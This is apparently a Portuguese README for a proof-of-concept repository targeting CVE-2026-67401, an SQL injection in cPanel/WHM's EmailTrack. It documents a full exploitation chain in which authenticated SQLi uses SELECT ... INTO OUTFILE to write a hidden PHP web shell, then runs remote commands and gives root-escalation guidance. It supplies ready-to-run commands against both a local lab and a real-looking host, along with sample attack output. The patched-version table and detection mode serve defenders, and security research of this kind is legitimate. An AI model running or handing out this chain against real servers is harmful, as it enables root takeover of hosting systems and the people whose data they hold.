
Prova de conceito e cadeia de exploração para CVE-2026-67401, uma injeção SQL no EmailTrack do cPanel/WHM que permite escrita arbitrária de arquivos e RCE como root, com detecção de SQLi e um laboratório local.
Prova de conceito para CVE-2026-67401, uma vulnerabilidade crítica de injeção SQL na funcionalidade EmailTrack do cPanel & WHM que permite a um usuário autenticado com privilégios relacionados a e-mail gravar arquivos arbitrários e executar código como root.
Descoberto por: HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC Divulgado em: 6 de outubro de 2026 Componente: EmailTrack (registro / rastreamento de entrega de e-mail)
As versões abaixo das builds corrigidas são vulneráveis.
| Série de Build do cPanel | Versão Corrigida |
|---|---|
| 11.110 | 11.110.0.143 |
| 11.134 | 11.134.0.55 |
| 11.136 | 11.136.0.39 |
| 11.138 | 11.138.0.4 |
| WP2 (11.138) | 11.138.1.9 |
Verifique sua versão com:
cat /usr/local/cpanel/version
┌─────────────┐ ┌────────────┐ ┌─────────┐ ┌──────────┐
│ Auth as │ ───► │ SQLi in │ ───► │ INTO │ ───► │ RCE as │
│ cPanel user │ │ EmailTrack │ │ OUTFILE │ │ root │
│ (mail priv) │ │ API call │ │ (shell) │ │ │
└─────────────┘ └────────────┘ └─────────┘ └──────────┘
account do EmailTrack.SELECT ... INTO OUTFILE em public_html/.| Arquivo | Descrição |
|---|---|
poc_sqli.py | Detecção de injeção SQL: baseada em booleano, baseada em tempo e contagem de colunas UNION |
poc_full_chain.py | Cadeia completa de exploração: SQLi → web shell via INTO OUTFILE → RCE → orientação para root |
lab/vuln_server.py | Simulação local do backend vulnerável do EmailTrack (segura, autocontida) |
README.md | Este documento |
O laboratório incluído permite executar e validar toda a cadeia sem um servidor cPanel real.
Todos os comandos são executados a partir da raiz do repositório.
python3 lab/vuln_server.py 18123 lab/htdocs
alice / s3cr1tSLEEP(),
INTO OUTFILE e execução de web-shell PHP.18123)lab/htdocs)Deixe isto em execução num terminal e utilize um segundo terminal para os PoCs.
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
| Argumento | Descrição |
|---|---|
-H, --host | Host do cPanel, ex.: https://cp.example.com:2083 |
-u, --username | Conta cPanel com privilégios de correio |
-p, --password | Senha da conta |
--param | Parâmetro injetável (padrão: account) |
--mode | detect (padrão), boolean, timing, union ou all |
--sleep | Duração de SLEEP() para a sonda de temporização (padrão: 3.0) |
--dump-version | Tenta extrair a versão do DBMS via UNION |
--insecure | Ignora a verificação do certificado TLS |
Executar uma sonda específica:
# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union
# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5
CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
python3 poc_full_chain.py http://127.0.0.1:18123 \
--shell-base http://127.0.0.1:18123
| Argumento / Env | Descrição |
|---|---|
host (posicional) | Host cPanel, ou defina a env CPANEL_HOST |
CPANEL_USER | Conta cPanel com privilégios de e-mail |
CPANEL_PASS | Senha da conta |
--shell-base | URL base que serve public_html (onde o web shell é acessado) |
--insecure | Ignorar a verificação do certificado TLS |
--no-escalate | Parar após o RCE; ignorar as orientações de escalada para root |
SHELL_NAME (env) | Nome do arquivo do web shell (padrão: .mail.cache.php) |
Etapas executadas automaticamente:
SELECT ... INTO OUTFILEid, whoami, enumeração de SUID, …)whmapi1, cron, fila de tarefas)# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
--insecure --mode detect
# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
python3 poc_full_chain.py https://cp.example.com:2083 \
--shell-base https://cp.example.com --insecure
Nota: o
--shell-basepadrão remove a porta exclusiva do cPanel (2082/2083) do host. Se o document root for servido em uma porta diferente, defina-a explicitamente.
Saída produzida contra o laboratório incluído:
CVE-2026-67401 cPanel/WHM EmailTrack SQLi -> File Write -> RCE
version 1.0
target: http://127.0.0.1:18123
user: alice
[+] authenticated
[1] confirming SQL injection in EmailTrack `account`
[+] boolean-based SQLi CONFIRMED
[+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
[2] determining column count via UNION
[+] target query has 5 columns
[3] writing PHP web shell via SELECT ... INTO OUTFILE
[+] shell written -> /home/alice/public_html/.mail.cache.php
[4] executing commands through the web shell
[+] id -> uid=1000(x) gid=1000(x) ...
Distribuído para fins educacionais e de pesquisa de segurança autorizada. Consulte o Aviso legal antes do uso.